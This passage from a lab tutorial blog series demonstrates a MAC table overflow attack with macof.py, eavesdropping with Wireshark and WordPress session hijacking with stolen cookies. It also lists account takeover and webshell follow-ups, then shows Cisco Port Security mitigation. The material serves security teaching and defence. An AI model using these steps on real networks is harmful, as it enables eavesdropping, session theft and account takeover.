The <em>Admins</em> <span class="caps">VLAN</span> will not be involved.</p>
<p>As per the tools, we will use <a href="https://github.com/WhiteWinterWolf/macof.py" rel="external" title="macof.py (GitHub)">macof.py</a>, <a href="https://www.wireshark.org/" rel="external" title="Wireshark project homepage">Wireshark</a> and a browser with
a plugin allowing to edit the cookies (here I will use <a href="https://www.mozilla.org/gd/firefox/" rel="external" title="Firefox project homepage">Firefox</a> with
the <a href="https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/" rel="external" title="Cookies Manager+ (Firefox Add-ons)">Cookies Manager+</a> plugin).</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>An Internet access allowing to download missing tools can be built for your
<em>Attacker</em> node in <span class="caps">GNS3</span> by adding a <em>Cloud</em> node to your topology and
temporarily connecting the <em>Attacker</em> to it.</p>
</div>
<h3 id="initial-state"><a class="toclink" href="#initial-state">Initial state</a></h3>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>Initially, <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address tables only contains the minimum information allowing
the switches to forward their packets correctly.
Given the size of our lab network, this is not much information:</p>
<div class="codehilite"><pre><span class="gp">ESW2#</span><span class="k">show</span> mac-address-table count
<span class="go">NM Slot: 1</span>
<span class="go">--------------</span>
<span class="hll"><span class="go">Dynamic Address Count: 1</span>
</span><span class="go">Secure Address (User-defined) Count: 0</span>
<span class="go">Static Address (User-defined) Count: 0</span>
<span class="go">System Self Address Count: 1</span>
<span class="go">Total MAC addresses: 2</span>
<span class="hll"><span class="go">Maximum MAC addresses: 8192</span>
</span><span class="gp">ESW2#</span><span class="k">show</span> mac-address-table dynamic
<span class="go">Non-static Address Table:</span>
<span class="go">Destination Address Address Type VLAN Destination Port</span>
<span class="go">------------------- ------------ ---- --------------------</span>
<span class="hll"><span class="go">c201.068b.0000 Dynamic 3 FastEthernet1/0</span>
</span>
<span class="gp">ESW2#</span>
</pre></div>
<p>Here <em><span class="caps">ESW2</span></em> only has one entry: the <em>R1</em> router.
Also note that the table may contain up to a maximum of 8192 <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> addresses.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>If the counter is zero, ensure there is a minimum activity on the network
for instance by pinging <em>Server_1</em> from the <em>Attacker</em> machine.</p>
<p>Moreover, depending on the device, <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address table information may be
available below the <code>show mac-address-table</code> or the <code>show mac address-table</code>
section.</p>
</div>
<h3 id="the-attack-stages"><a class="toclink" href="#the-attack-stages">The attack stages</a></h3>
<h4 id="mac-table-overflow"><a class="toclink" href="#mac-table-overflow"><abbr title="Media Access Control"><span class="caps">MAC</span></abbr> table overflow</a></h4>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="no" title="No"><span class="sr-only">No</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>The traditional tool for <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> table overflow attack is <code>macof</code> from the
<a href="https://www.monkey.org/~dugsong/dsniff/" rel="external" title="dsniff project homepage">dsniff</a> project.
However this tool is old, seemingly unmaintained (last update in 2000) and I
find it quite inefficient for the task.</p>
<p>I therefore decided to build my own alternative, <code>macof.py</code>, <a href="https://github.com/WhiteWinterWolf/macof.py" rel="external" title="macof.py (GitHub)">available here</a>.</p>
<p>Usually you should be able to run <code>./macof.py</code> without any parameters to use the
default settings.
However, this attack is quite intense, specially on home virtual labs, so to
create the best conditions you may need to adapt default settings a little:</p>
<ul>
<li>
<p>We have seen previously that our router-based switch has a <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address
table limited to 8192 entries, we will therefore not bother with the default
of creating 20000 <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> entries but limit ourselves to this number.</p>
</li>
<li>
<p>We will also slow down packets sending, first sending 3000 packets per
second to fill the switches <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> tables and then around one packet per millisecond.</p>
<p>We won’t be able to slow the refresh much in the virtual lab compared to
real gear because the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address aging-time in Dynamips’ <span class="caps">NM</span>-<span class="caps">16ESW</span>
implementation is hardcoded to a very low value (30 seconds, while the
default on real gear is 5 minutes).</p>
</li>
</ul>
<p>Here is the command I will use:</p>
<div class="codehilite"><pre><span class="gp">root@kali:~#</span> ./macof.py -c <span class="m">8192</span> -f <span class="m">3000</span> -w 1
<span class="go">macof.py <https://www.whitewinterwolf.com/projects/></span>
<span class="go">* Pre-generating 8192 packets...</span>
<span class="go">* Sending 3000 packets per second, looping 1 times.</span>
<span class="go">Actual: 8192 packets (540672 bytes) sent in 2.73 seconds</span>
<span class="go">Rated: 198020.1 Bps, 1.58 Mbps, 3000.30 pps</span>
<span class="go">Flows: 8192 flows, 3000.30 fps, 8192 flow packets, 0 non-flow</span>
<span class="go">Statistics for network device: eth0</span>
<span class="go"> Successful packets: 8192</span>
<span class="go"> Failed packets: 0</span>
<span class="go"> Truncated packets: 0</span>
<span class="go"> Retried packets (ENOBUFS): 0</span>
<span class="go"> Retried packets (EAGAIN): 0</span>
<span class="go">* Sending one packet every 1 milliseconds, press Ctrl+C to terminate.</span>
</pre></div>
<p>Wait a few seconds, switches <abbr title="Content Addressable Memory"><span class="caps">CAM</span></abbr> tables should now be filled up:</p>
<div class="codehilite"><pre><span class="gp">ESW2#</span><span class="k">show</span> mac-address-table count
<span class="go">NM Slot: 1</span>
<span class="go">--------------</span>
<span class="go">Dynamic Address Count: 8188</span>
<span class="go">Secure Address (User-defined) Count: 0</span>
<span class="go">Static Address (User-defined) Count: 0</span>
<span class="go">System Self Address Count: 1</span>
<span class="go">Total MAC addresses: 8189</span>
<span class="go">Maximum MAC addresses: 8192</span>
<span class="gp">ESW2#</span>
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>In practice the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> table size is capped to 8189 instead of 8192.
This is an implementation issue of Dynamips’ <span class="caps">NM</span>-<span class="caps">16ESW</span> module with no consequence.</p>
</div>
<p>As the attacker, you could also take advantage of the Spanning-Tree protocol
to redesign the topology to make the flooding and data interception even more
efficient.
More information can be found in the <a href="/posts/2017/10/16/spanning-tree-protocol-exploitation/#stp-topology-change" title="STP topology change attack">previous post</a> of this series.</p>
<h4 id="eavesdropping"><a class="toclink" href="#eavesdropping">Eavesdropping</a></h4>
<p>It is now time to fire-up Wireshark.</p>
<p>Before starting the capture, you may want to specify a capture filter:</p>
<ul>
<li>
<p>To ignore the frames crafted to flood the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> tables.</p>
<p>By default <code>macof.py</code> crafted packets use the broadcast <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address as
destination, to ignore them use the expression
<code>not ether host ff:ff:ff:ff:ff:ff</code></p>
</li>
<li>
<p>To focus on <span class="caps">HTTP</span> packets.</p>
<p>This is mainly for the lab purposes, as this will make working with
Wireshark easier, particularly on home virtualized environments.
To do this we add <code>and tcp port http</code> to the above expression.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>A lot of processing goes in Wireshark’s live packet analysis.</p>
<p>For the sake of the lab, we chose to focus on the packets which we
already know to be the most interesting.
If a processing becomes an issue in real-life situations (Raspberry
anyone?), it is common to dissociate:</p>
<ul>
<li>The data collecting phase, building large <em>.pcap</em> files storing
all sniffed all data with little to no discrimination in raw form.</li>
<li>The data analysis phase, which may occur at a later time and on a
different machine.</li>
</ul>
</div>
</li>
</ul>
<p>This gives the following capture filter:
<code>not ether host ff:ff:ff:ff:ff:ff and tcp port http</code>:</p>
<p><span class="lb-small"><a href="#ws_capture_filter.png" id="ws_capture_filter.png-thumb" title="Click to enlarge"><img alt="Wireshark capture filter" src="https://www.whitewinterwolf.com/posts/2017/10/25/mac-address-table-overflow/ws_capture_filter.png"/></a></span></p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Don’t confuse Wireshark’s <em>capture</em> and <em>display</em> filters:</p>
<ul>
<li>
<p>The <em>capture</em> filter allow to select the data to capture at an early
stage.
Data not matching the filter is ignored, freeing processing time for
more relevant data which, otherwise, might be loss especially in
case of high load or activity.</p>
</li>
<li>
<p>The <em>display</em> filter, as its name implies, only filters the data
displayed in the <span class="caps">GUI</span>.
Data not matching the filter is still collected and analyzed by the
various Wireshark processors, this filter has no noticeable impact on
Wireshark performances.</p>
</li>
</ul>
</div>
<p>Start the <em>User_1</em> host and access <em>Server_1</em> home page: <em>Server_1</em> replies
should appear in Wireshark window:</p>
<p><span class="lb-small"><a href="#ws_interception.png" id="ws_interception.png-thumb" title="Click to enlarge"><img alt="Wireshark sniffed traffic" src="https://www.whitewinterwolf.com/posts/2017/10/25/mac-address-table-overflow/ws_interception.png"/></a></span></p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>If you don’t capture anything and the <em>User_1</em> host was already running,
close its Firefox for more than 30 seconds then try again: Firefox may have
a background network activity (checking updates and sending usage
statistics) registering <em>User_1</em> <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address in switches <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address tables.</p>
<p>For the same reason, in real-life this attack will be the most
efficient after a long period of inactivity where the computer were either
turned-off or in stand-by mode, typically the beginning of the work day
and, to a lesser extend, after the lunch pause.</p>
</div>
<p>As you can see in the screenshot, we have only one side of the communication:
every captured packet go from the server (<em>source = 192.1683.100</em>) to the client
(<em>destination = 192.168.1.101</em>), we did not capture any packet going the other
way around.</p>
<p>This is normal and expected, albeit largely ignored by those limiting
themselves to theoretical approaches of security and thinking that <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> table
overflows somehow magically <em>“turns a switch into a hub”</em> or make it
<em>“fail open in repeating mode”</em>, as it is often described.</p>
<p>This depends on the algorithm implemented in the switch, but on sane and modern
devices the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> flooding should not be able to overwrite already existing and
legitimate <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> entries (except following an inactivity period longer than the
configured maximum aging-timer, as usual).</p>
<p>Under normal circumstances the default router address is always known to the
switches as nearly all activity on the network involves it.
It is one of the first address learned when the switch is started and is
permanently refreshed.
The addresses that are added and removed from the switch throughout the day are
those of end-nodes, here user’s workstation.</p>
<p>By filling the switches <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address tables, we prevented the switches from
learning the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address of the <em>User_1</em> host, however the address of the
default router <em>R1</em> was already known and will remain known.
The overflow won’t change anything to that.</p>
<p>Because of this:</p>
<ul>
<li>
<p>Packets going from <em>User_1</em> to <em>R1</em> (and then <em>Server_1</em>) are correctly
forwarded by relying on <em>R1</em> <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address present in the switches <abbr title="Media Access Control"><span class="caps">MAC</span></abbr>
address tables.</p>
</li>
<li>
<p>When reply packets sent by <em>Server_1</em> come through <em>R1</em> and try to reach
<em>User_1</em>, the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address of the <em>User_1</em> host is missing in the switches
<abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address table due to our attack and therefore the switch fallback in
broadcasting them.</p>
</li>
</ul>
<p>We can therefore see that this attack has two main limitations:</p>
<ul>
<li>
<p>We may have access to only one side of the communication.</p>
</li>
<li>
<p>This is a eavesdropping attack, not a man-in-the-middle attack: we receive
server answer at the same as the legitimate destination, this attack does
not provide an easy way to alter server’s answers.</p>
</li>
</ul>
<p>Nevertheless, we will see an example how this attack can be still be used with profit.</p>
<h4 id="session-stealing"><a class="toclink" href="#session-stealing">Session stealing</a></h4>
<p>Go back on <em>User_1</em> and access to a management page of the <em>Server_1</em> web
application.
On my side, I will access a Wordpress administration page (for those using the
same appliance as me, click on the Bitnami logo in the bottom-right corner to
get a listing of default credentials and links to available management pages).</p>
<p>On Wireshark, find one of the packets corresponding to the server answer to
the user succcessful authentication, then right-click on it > <em>Follow</em> >
<em><span class="caps">TCP</span> Stream</em>.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>You must locate the server’s answer to the user authentication, at it is
at this moment that the server’s reply contains the cookies values.
Other messages from the server won’t contain them, and as you don’t have
access to the data sent by the client you cannot fetch this information
from there too.</p>
<p>In case of doubt, don’t hesitate to do a few attempts by login-off and
login-in the user again, noting each time the number of the last packet
captured by Wireshark.</p>
<p>In real world, you may have dozens of users opening new sessions after an
inactivity time, being able to capture just a few of them might be enough.</p>
</div>
<p>You should obtain the full server answer to the user login process.
While you don’t have user’s password, you still have access to users cookies:</p>
<p><span class="lb-small"><a href="#ws_stream.png" id="ws_stream.png-thumb" title="Click to enlarge"><img alt="Wireshark TCP stream" src="https://www.whitewinterwolf.com/posts/2017/10/25/mac-address-table-overflow/ws_stream.png"/></a></span></p>
<p>Still on the <em>Attacker</em> machine, fire-up a browser, go on <em>Server_1</em>
authentication page (<em>http://192.168.3.100/wp-admin</em> in my case): you are not
authenticated (yet!).</p>
<p>Edit your browser’s cookies and manually add the previously captured cookies as
new cookies.
As mentioned above, on my side I use Cookies Manager+ for this task:</p>
<p><span class="lb-small"><a href="#ff_forge_cookies.png" id="ff_forge_cookies.png-thumb" title="Click to enlarge"><img alt="Forging the cookies on Firefox" src="https://www.whitewinterwolf.com/posts/2017/10/25/mac-address-table-overflow/ff_forge_cookies.png"/></a></span></p>
<p>I added to new cookies, prefixed <em>wordpress_…</em> and <em>wordpress_logged_in_…</em>:</p>
<p><span class="lb-small"><a href="#ff_cookies.png" id="ff_cookies.png-thumb" title="Click to enlarge"><img alt="New cookies" src="https://www.whitewinterwolf.com/posts/2017/10/25/mac-address-table-overflow/ff_cookies.png"/></a></span></p>
<p>Try again to access the authentication <span class="caps">URL</span>: <em>“Welcome!”</em>, you are now
granted access to the administration interface!</p>
<p><span class="lb-small"><a href="#pwned.png" id="pwned.png-thumb" title="Click to enlarge"><img alt="Pwned." src="https://www.whitewinterwolf.com/posts/2017/10/25/mac-address-table-overflow/pwned.png"/></a></span></p>
<h4 id="next-steps"><a class="toclink" href="#next-steps">Next steps</a></h4>
<p>As an attacker, there are several things that you can now do, depending
on what you want to achieve:</p>
<ul>
<li>
<p>Maintain your access:</p>
<ul>
<li>
<p>In its current shape, this access will be available only for as long as
the legitimate user does not close the session by clicking on a
<em>Logout</em> link.
If the user closes his browser without closing the session then you
have this session all for yourself.</p>
</li>
<li>
<p>To steal the account, you can edit user’s settings and change the email
address to an address you control and set a new password of your choosing.</p>
<p>Changing the password here is easy as the previous password is not
asked to set a new one, but would it be the case simply use the
“Lost your password?” link to reset it after having changed the email address.</p>
<p>In this scenario the attacker will usually don’t nitpick but change all
user information (including credit card and phone numbers, postal
addresses, change security question and backup accounts, etc.).
Such information may be indeed used by support teams to check user’s
identity in case of a stolen account claim, altering them may prevent
such recovery to work as demonstrated in the
<a href="https://medium.com/@N/how-i-lost-my-50-000-twitter-username-24eb09e026dd" rel="external" title="How I Lost My $50,000 Twitter Username (Medium)">How I Lost My $50,000 Twitter Username</a> case<sup id="fnref-n_is_stolen"><a class="footnote-ref" href="#fn-n_is_stolen">1</a></sup>.</p>
</li>
<li>
<p>More sneakily, if we are lucky and have any administrative privileges
it may possible to create new accounts or modify the privileges or
credentials of existing accounts (in particular unused ones).</p>
</li>
</ul>
</li>
<li>
<p>Attack the server:</p>
<ul>
<li>
<p>Is there any feature allowing to upload files, if yes does one of them
open the possibility to upload a webshell, in one way or another?</p>
</li>
<li>
<p>Is there any feature allowing to execute a command on the host, such
as maintenance tasks?</p>
</li>
<li>
<p>Is there any feature allowing to input server-side scripting code?</p>
</li>
</ul>
<p>More generally, once the attacker managed to get access to a valid
account on a system, the attack surface usually becomes much wider.</p>
</li>
<li>
<p>Attack other users:</p>
<ul>
<li>
<p>Create new content or modify existing content to include malicious code
and infect other users viewing modified content.</p>
</li>
<li>
<p>Use the newly gained abilities as part of a social engineering attack,
impersonating the legitimate user toward third parties.</p>
</li>
</ul>
</li>
</ul>
<p>Of course, none of these suggestions is exclusive and this list it not restrictive.
A determined attacker will most likely engage through various ways and channels
simultaneously to get the most impact, both technically and psychologically.</p>
<h3 id="mitigation"><a class="toclink" href="#mitigation">Mitigation</a></h3>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="no" title="No"><span class="sr-only">No</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>The mitigation for this attack is to set a limit on the number of devices
expected per port.
On Cisco devices, this is achieved by enabling <a href="https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst4000/8-2glx/configuration/guide/sec_port.html" rel="external" title="Configuring Port Security (Cisco)">Port Security</a>.</p>
<p>As far as the virtual lab is concerned, while <span class="caps">IOU</span> doesn’t allow to really reproduce
the attack itself, using <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> table overflow tools still allows to increase the
number of entries in its <abbr title="Content Addressable Memory"><span class="caps">CAM</span></abbr>:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span><span class="k">show</span> mac address-table count vlan <span class="s">1</span>
<span class="go">Mac Entries for Vlan 1:</span>
<span class="go">---------------------------</span>
<span class="hll"><span class="go">Dynamic Address Count : 14604</span>
</span><span class="go">Static Address Count : 0</span>
<span class="go">Total Mac Addresses : 14604</span>
<span class="go">Total Mac Address Space Available: 183046404</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>Port Security must be enabled on a per-port basis on each access layer switches:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="gp">IOU3(config)#</span><span class="k">int</span> range<span class="s"> ethernet 1/0 - 3</span>
<span class="gp">IOU3(config-if-range)#</span><span class="c1">! The port must explicitly be set to access mode.</span>
<span class="hll"><span class="gp">IOU3(config-if-range)#</span><span class="k">switchport</span> mode access
</span><span class="hll"><span class="gp">IOU3(config-if-range)#</span><span class="k">switchport</span> port-security
</span><span class="gp">IOU3(config-if-range)#</span><span class="c1">! By default only 1 MAC address allowed.</span>
<span class="hll"><span class="gp">IOU3(config-if-range)#</span><span class="k">switchport</span> port-security maximum <span class="s">5</span>
</span><span class="gp">IOU3(config-if-range)#</span><span class="nb">end</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:18:18.760: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">IOU3#</span><span class="k">show</span> port-security
<span class="go">Secure Port MaxSecureAddr CurrentAddr SecurityViolation Security Action</span>
<span class="go"> (Count) (Count) (Count)</span>
<span class="go">---------------------------------------------------------------------------</span>
<span class="go"> Et1/0 5 1 0 Shutdown</span>
<span class="go"> Et1/1 5 0 0 Shutdown</span>
<span class="go"> Et1/2 5 0 0 Shutdown</span>
<span class="go"> Et1/3 5 0 0 Shutdown</span>
<span class="go">---------------------------------------------------------------------------</span>
<span class="go">Total Addresses in System (excluding one mac per port) : 0</span>
<span class="go">Max Addresses limit in System (excluding one mac per port) : 4096</span>
<span class="gp">IOU3#</span>
<span class="gp">IOU3#</span><span class="k">copy</span> running-config startup-config
<span class="go">Destination filename [startup-config]?</span>
<span class="go">Building configuration...</span>
<span class="go">Compressed configuration from 1901 bytes to 1052 bytes[OK]</span>
<span class="gp">IOU3#</span>
</pre></div>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>Port-security default value is very low (one single <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address allowed per
port).
There are various reasons why more than one address may appear on a port:
presence of an <span class="caps">IP</span> phone in addition to the workstation, the user may be
using virtual machines in bridge mode, the user may use a desktop switch to
share a wired connection with a colleague, etc.</p>
<p>Unless your policy explicitly forbids such situations, you will most likely
want to increase this value.
As long as preventing <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> table flooding is concerned, there is no issue in
setting this value to a few dozen: this will still prevent attackers from
simulating thousands of devices while avoiding false positives and prevent
legitimate users from doing their work.</p>
</div>
<p>Now attempting to run the attack makes the port to be automatically shutdown,
isolating the offender:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:23:48.769: %PM-4-ERR_DISABLE: psecure-violation error detected on Et1/0, putting Et1/0 in err-disable state</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:23:48.769: %PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused by MAC address a8bd.c94b.66e9 on port Ethernet1/0.</span>
<span class="gt">*Oct 22 17:23:49.769: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet1/0, changed state to down</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:23:50.769: %LINK-3-UPDOWN: Interface Ethernet1/0, changed state to down</span>
<span class="gp">IOU3#</span>
<span class="gp">IOU3#</span><span class="k">show</span> interfaces status err-disabled
<span class="go">Port Name Status Reason Err-disabled Vlans</span>
<span class="go">Et1/0 err-disabled psecure-violation</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>The port can be restored manually, the same way as with <a href="/posts/2017/10/16/spanning-tree-protocol-exploitation/#bpdu-guard-access-layer" title="STP vulnerability mitigation: BPDU Guard"><span class="caps">BPDU</span> Guard</a>:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="gp">IOU3(config)#</span><span class="k">int</span><span class="s"> ethernet 1/0</span>
<span class="gp">IOU3(config-if)#</span><span class="k">shutdown</span>
<span class="gp">IOU3(config-if)#</span>
<span class="gt">*Oct 22 17:29:11.885: %LINK-5-CHANGED: Interface Ethernet1/0, changed state to administratively down</span>
<span class="gp">IOU3(config-if)#</span><span class="ow">no </span><span class="k">shutdown</span>
<span class="gp">IOU3(config-if)#</span>
<span class="gt">*Oct 22 17:29:15.077: %LINK-3-UPDOWN: Interface Ethernet1/0, changed state to up</span>
<span class="gt">*Oct 22 17:29:16.077: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet1/0, changed state to up</span>
<span class="gp">IOU3(config-if)#</span><span class="nb">end</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:32:31.808: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>And a timer can also be set to enable port auto-recovery:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="hll"><span class="gp">IOU3(config)#</span><span class="k">errdisable</span> recovery cause psecure-violation
</span><span class="gp">IOU3(config)#</span><span class="c1">! By default the timeout is set to 300 seconds (= 5 minutes), to change it:</span>
<span class="hll"><span class="gp">IOU3(config)#</span><span class="k">errdisable</span> recovery interval <span class="s">30</span>
</span><span class="gp">IOU3(config)#</span><span class="nb">end</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:35:13.030: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>Now the switch should be able to shutdown the port during the attack, and
restore it afterwards:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:38:04.009: %PM-4-ERR_DISABLE: psecure-violation error detected on Et1/0, putting Et1/0 in err-disable state</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:38:04.009: %PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused by MAC address c049.eef6.3ede on port Ethernet1/0.</span>
<span class="gt">*Oct 22 17:38:05.009: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet1/0, changed state to down</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:38:06.010: %LINK-3-UPDOWN: Interface Ethernet1/0, changed state to down</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:38:34.010: %PM-4-ERR_RECOVER: Attempting to recover from psecure-violation err-disable state on Et1/0</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 22 17:38:36.015: %LINK-3-UPDOWN: Interface Ethernet1/0, changed state to up</span>
<span class="gt">*Oct 22 17:38:37.023: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet1/0, changed state to up</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>Here we kept the default action, <code>err-disable</code>, which is the most brutal.
When a Port Security violation occurs, alternative actions can be selected:</p>
<ul>
<li>
<p><code>protect</code> silently drops frames bearing new <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> addresses once the
maximum number of address on this port has been reached, keeping the
port up and the connectivity for already registered <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> addresses.</p>
</li>
<li>
<p><code>restrict</code> does the same thing as <code>protect</code>, but in addition generates
a Syslog messages to notify administrators.</p>
</li>
</ul>
<p>To select the <code>protect</code> mode instead of the default <code>err-disable</code>:</p>
<div class="codehilite"><pre><span class="gp">IOU3(config-if-range)#</span><span class="k">switchport</span> port-security violation protect
<span class="gp">IOU3(config-if-range)#</span>
</pre></div>
<p>Port Security also supports <em>sticky addresses</em>.
This is an intermediary solution between manually hardcoding end-nodes <abbr title="Media Access Control"><span class="caps">MAC</span></abbr>
addresses in the switch configuration and the dynamic process learning
described until now.
Here new addresses up until the maximum allowed become an integral part of the
switch running configuration: aging-time will not erase them, and if the running
configuration is saved as the startup configuration then they will also survive
across switch reboots.</p>
<p>The sticky addresses setting is independent of the violation action setting:</p>
<div class="codehilite"><pre><span class="gp">IOU3(config-if-range)#</span><span class="k">switchport</span> port-security mac-address sticky
<span class="gp">IOU3(config-if-range)#</span>
</pre></div>
<div class="footnote">
<hr/>
<ol>
<li id="fn-n_is_stolen">
<p>Fortunately the story as a good ending and Naoki Hiroshima
managed to get back his <a href="https://twitter.com/N" rel="external" title="Naoki Hiroshima (Twitter)">Twitter account</a>, mainly thanks to
the fluff around this case and having done the headlines on several major
websites.
The whole process however took a full month, with Twitter somewhere in the
middle closing the account and <a href="https://twitter.com/N/status/428751111298621441" rel="external" title="It seems that Twitter simply ignored my claim and let somebody grab @N freely. Seriously? (Naoki Hiroshima Twitter account)">releasing it</a> the wild
for anyone to grab it instead of giving it back to its initial user.
Most users however won’t have the knowledge, time and energy to defend
themselves the way he did. <a class="footnote-backref" href="#fnref-n_is_stolen" title="Jump back to footnote 1 in the text">↩</a></p>
</li>
</ol>
</div>Spanning Tree Protocol exploitation2017-10-16T00:00:00+02:002017-10-16T00:00:00+02:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-10-16:/posts/2017/10/16/spanning-tree-protocol-exploitation/<p>As we saw in the <a href="/posts/2017/10/12/practical-network-layer-2-exploitation-passive-reconnaissance/#stp-messages" title="Passive reconnaissance: STP messages">previous post</a>, Wireshark revealed us the presence
of <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages.</p>
<p>The Spanning Tree Protocol is used to detect topology loops and build the most
efficient forwarding path between interconnected switches.
Topology loops are not a mistake but a way to add redundancy to a topology.
Would a link break, the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> protocol detects it and recalculate a new most
efficient tree.</p>
<p>In sane networks, access ports should not deliver <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages to end-devices,
but this is not the default and, as Wireshark told us, not the case in our lab.
This lets the attacker the possibility to simulate a topology change by sending
maliciously crafted <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages.</p>
<p>For this lab we will need <em>at least</em> the <em>User_1</em> and <em>Server_1</em> devices to be available:</p>
<p><span class="lb-small"><img alt="STP lab topology" src="https://www.whitewinterwolf.com/posts/2017/10/16/spanning-tree-protocol-exploitation/topology.png"/></span></p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>The support of <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> in the <abbr title="IOS On Unix"><span class="caps">IOU</span></abbr> images I tested was very buggy, <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> port
state was ignored and frames systematically …</p></div><p>As we saw in the <a href="/posts/2017/10/12/practical-network-layer-2-exploitation-passive-reconnaissance/#stp-messages" title="Passive reconnaissance: STP messages">previous post</a>, Wireshark revealed us the presence
of <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages.</p>
<p>The Spanning Tree Protocol is used to detect topology loops and build the most
efficient forwarding path between interconnected switches.
Topology loops are not a mistake but a way to add redundancy to a topology.
Would a link break, the <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> protocol detects it and recalculate a new most
efficient tree.</p>
<p>In sane networks, access ports should not deliver <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages to end-devices,
but this is not the default and, as Wireshark told us, not the case in our lab.
This lets the attacker the possibility to simulate a topology change by sending
maliciously crafted <abbr title="Spanning Tree Protocol"><span class="caps">STP</span></abbr> messages.</p>
<p>For this lab we will need <em>at least</em> the <em>User_1</em> and <em>Server_1</em> devices to be available:</p>
